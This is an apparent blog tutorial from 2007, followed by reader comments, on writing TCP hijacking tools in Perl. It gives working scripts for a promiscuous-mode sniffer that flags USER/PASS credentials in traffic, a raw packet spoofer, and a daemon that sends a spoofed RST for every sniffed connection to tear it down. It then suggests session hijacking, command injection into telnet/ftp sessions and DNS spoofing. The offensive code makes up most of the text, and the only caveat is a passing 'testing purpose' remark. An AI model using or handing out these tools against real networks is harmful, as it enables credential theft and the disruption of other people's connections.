Programming TCP Hijacking Tools in Perl

—:[ Introduction

Why should someone write TCP hijacking programs with Perl instead of C?
Well the answear is really simple: Its easier! And you can use the string
and pattern matching power of Perl.
So lets see what one requires to write those tools. You have to get some
modules from CPAN [1]: Net::RawIP, NetPacket, Net::PcapUtils
and you have to install the pcap library [2].
To install the CPAN modules you can use:
perl -MCPAN -eshell
cpan> install
The Net::RawIP module is used to generate packets, the NetPacket bundle to decode
packets and the Net::PcapUtils module is an easy to use Perl interface to the powerful
pcap library to sniff traffic.

—:[ Using Net::PcapUtils

First of all I will show you how to program a simple sniffer script.
This script will simply sniff all TCP traffic on the eth0 interface, decode it and
print the source ip / source port + destination ip / destination port to STDOUT.

#!/usr/bin/perl

# Load modules
use Net::PcapUtils;
use NetPacket::Ethernet qw(:strip);
use NetPacket::TCP;
use NetPacket::IP qw(:strip);

# Are you r00t?
if($> != 0)
{
die “You need EUID 0 to use this tool!\n\n”;
}

# Start sniffin in promisc mode
Net::PcapUtils::loop(\&sniffit,
Promisc => 1,
FILTER => ‘tcp’,
DEV => ‘eth0′);

# Callback
sub sniffit
{
my ($args,$header,$packet) = @_;
$ip = NetPacket::IP->decode(eth_strip($packet));
$tcp = NetPacket::TCP->decode($ip->{data});

print “$ip->{src_ip}:$tcp->{src_port} –> $ip->{dest_ip}:$tcp->{dest_port}\n”;
}

OK. What I have done here is loading the required modules and feeding the loop
function of Net::PcapUtils with some parameters.
The first argument is a callback function which is called for every sniffed packet.
Then I set the network interface configured with the DEV argument into the promisc mode.
Last but not least I add a pcap expression filter. See the tcpdump manpage for more
information on the pcap expression language.
Now lets look at the callback function sniffit().
This function gets 3 parameters:
$args – User specified arguments (not used in the above script)
$header – The header of the sniffed packet (no protocol headers)
$packet – The sniffed packet itself
Then I start decoding the packets ip and tcp header using the comfortable NetPacket decode
function and print the result.
As noticed before this is a really simple example and you can do a lot of more stuff with the
Net::PcapUtils module.
For example you can easily write the dump into a file by specifing SAVEFILE => ‘foo.bar’, specify
a snaplen SNAPLEN => 1024 or the number of packets to sniff NUMPACKETS => 100.
If you want to pass some data to the callback function than you have to use the USERDATA argument.
Note that you can only pass one argument. Otherwise put your parameters into an array and throw a
reference to that array into play.
Well I think you got the idea. Sniffing and especially decoding packets in Perl is much easier then
in C.

—:[ Using NetPacket

Now lets update the sniffer script so that it can also dump the payload and search for a string
in the payload like USER / PASS.

# Callback
sub sniffit
{
my ($args,$header,$packet) = @_;
$ip = NetPacket::IP->decode(eth_strip($packet));
$tcp = NetPacket::TCP->decode($ip->{data});
$payload = $tcp->{data};

if( ($payload =~ /USER/) || ($payload =~ /PASS/) )
{
print “Got ya! =)\n\n”;
}

print “$ip->{src_ip}:$tcp->{src_port} –> $ip->{dest_ip}:$tcp->{dest_port}\n”;
print “Payload:\n$payload\n\n”;
}

Well I dont think I have to comment anything new here, cause its too easy…

—:[ Using Net::RawIP

What about generating your own packets and throw them on the wire?
Well nothing easier than that!
With Net::RawIP you can create the following packets:
TCP / IP
UDP / IP
ICMP / IP
And here you will notice one disadvantage of writing TCP hijacking tools
in Perl: By the moment you cannot create or decode ARP packets!
But this should change in the next few months…
Lets use Net::RawIP to create a TCP packet with the payload
‘Testing Net::RawIP’.

#!/usr/bin/perl

use Net::RawIP;

$packet = new Net::RawIP;

$packet->set({
ip => { saddr => ’192.168.1.1′,
daddr => ’192.168.1.2′
},
tcp => { source => 2323,
dest => 23,
ack => 1,
seq => 10000000,
ack_seq => 10000000,
data => ‘Testing Net::RawIP’
}
});

$packet->send(0,1);

First I create a new Net::RawIP object and after that I set the various header
options for the used protocols.
Please read the RFCs to the protocol you want to use for leaning more
about the available header options of that protocol.
In the last line one packet is send with a delay of zero seconds. Here you
can also specify a number of -1 to send this packet in an endless loop.

—:[ Programming a RST daemon

OK. Lets put it all together!
We will now update the sniffit callback function to simply send a spoofed RST
packet back to the source ip for every sniffed packet.
I hope I dont have to advice you that this is only for testing purpose and that
this simple method is also very noisy!

sub sniffit
{
my ($args,$header,$packet) = @_;
$ip = NetPacket::IP->decode(eth_strip($packet));
$tcp = NetPacket::TCP->decode($ip->{data});

$packet->set({
ip => { saddr => $ip->{dest_ip},
daddr => $ip->{src_ip}
},
tcp => { source => $tcp->{dest_port},
dest => $tcp->{src_port},
rst => 1,
seq => $ip->{acknum},
data => ‘I am a fake! =)’
}
});

$packet->send(0,1);

print “Reset send $ip->{dest_ip}:$tcp->{dest_port} –> $ip->{src_ip}:$tcp->{src_port}\n”;
}

What’s new here?
Well I send the packet back to its source so I have to wrap the saddr, daddr, source and
dest options and I have to specify a valid sequence number so I simply use the acknowledgement
number the client sends me.
If you dont know how a valid sequence number looks like please read the document ‘Simple active
attack againt TCP’, the RFCs or some of the great Phrack articles. ;)
Now if you think you are funny enough you could for example program an smtp / pop3 resetting tool
which will only reset the connection if a special user is trying to log in and read or send some
mails.
Or you could only reset SYN packets, because resetting other packets especially RST packets generated
by your own tool is very stupid!
To do that you drop the following lines before start decoding the packet:

unless($tcp->{flags} == 2)
{
return 1;
}

Its up to you now…

—:[ The last but not least

What can you program using this new knowledge?
You could program a packet generator or a firewall testing tool or an IDS testing tool.
You can also program an telnet or ftp hijacking tool, which injects commands into an opened telnet or
ftp connection and kick the “real” user of that connection.
What about DNS spoofing? Send out bogus DNS reply packets.
Think about it or ask your favorite search engine!
Or you can have a look at the P.A.T.H. (Perl Advanced TCP Hijacking) project [3] to get some ideas.
If you are not familar with TCP hijacking techniques you could read this [4] and this [5].
Keep in mind: Perl is fun!!! =)

About these ads

~ by Balle on July 6, 2007.

3 Responses to “Programming TCP Hijacking Tools in Perl”

  1. found the info useful… including a udp sniffer in my project to work around not getting source ports via regular socket calls. Look for my project in upcoming 2600.

  2. [...] One of my favourite links on the topic, may be useful to you in terms of where to go from here: Programming TCP Hijacking Tools in Perl I'd also like to see how you plan to break the TCP connection if, for example, you have [...]

  3. Hi there,

    I think that the SNAPLEN value importance was not undelined enough.
    For example when you want to examine the payload.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
Follow

Get every new post delivered to your Inbox.

%d bloggers like this: